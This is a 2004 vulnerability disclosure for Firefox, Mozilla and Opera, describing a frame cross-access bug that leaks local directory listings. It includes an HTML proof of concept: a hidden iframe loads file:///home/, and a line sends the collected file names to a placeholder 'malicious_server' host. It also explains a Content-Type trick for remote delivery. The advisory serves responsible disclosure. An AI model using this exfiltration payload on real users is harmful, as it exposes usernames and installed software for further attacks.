Disclosure of file system information in Mozilla Firefox and Opera Browser:
Title: Disclosure of file system information in Mozilla Firefox and Opera
Browser
Note:
I don't know if it could be considered really a security problem, anyway
i'll try to explain my ideas.
Sorry for my bad english.
Author: Giovanni Delvecchio
Bug: Disclosure of file system information
Applications affected:
- Firefox 1.0
- Mozilla 1.7
- Opera 7.54 (*)
( maybe also previous versions )
Tested versions:
- Firefox 1.0 on Linux and Windows
- Mozilla 1.7 on Windows
- Opera 7.51,..7.54 on Linux
Note:
The content of this advisory could be applied also to other browsers, i have
checked just Mozilla, Firefox,Opera and Microsoft Internet Explorer.
Microsoft Internet Explorer seems not to be affected.
Bug Description:
================
A problem exist in some browsers where a frame can gain access to attributes
of another frame or iframe.
An application of this bug could be the possibility to disclose local
directory structure.
PoC:
===
------ begin code.htm -----
<html>
<body onLoad="
list_files='';
for(i=0;i<local_files.document.links.length;i++)
{list_files+=local_files.document.links.item(i);}
alert(list_files);
//send list_files at malicious_server
document.location.href='http://malicious_server/grab.php?list='+list_files;
">
<iframe name="local_files" src="file:///home/" height=0
width=0></iframe>
</body>
</html>
------ end of code.htm -------
Impact:
======
A malicious server could obtain the content of /home/ directory ( or
c:\Document and Setting\ for windows system ) and so know a set of
usernames present on system target.
Moreover, colud be possible know if a particolar program is installed on
target system for a succesive attack.
Anyway it cannot be exploited "directly" by a remote site, but only if the
page is opened from a local path ( file://localpath/code.htm), since the
iframe "local_files" belongs to a local domain.
Note: with Internet Explorer code.htm doesn't work even in local.
Possible Remote Exploitation:
========================
Question:
How could a malicious remote user exploit it ?
Answer:
After that the user "victim" has required http://maliciuos_server/code.htm,
if malicious_server responds with a page containing an unknown Content-Type
field ( for example text/html. ,note the dot) ,the browser will show a
dialog window with some options (open, save, cancel). Choosing "Open" to
view this page, it will be downloaded and opened in local ; javascript code
will be executed in local context.
Obviously, if user chooses to save and after open it the result is equal.
(*) For Opera this method of remote exploitation requires that opera must
be setted as Default Application in "handler for saved files" whether the
user choose "Open" in the dialog window.
Solution:
========
No solution at the moment
Vendor notice
==============
24th November 2004: I have contacted mozilla by security@xxxxxxxxxxx
and Opera by its bug track page at https://bugs.opera.com/wizard/
No response from both at the moment.
Best regards,
Giovanni Delvecchio
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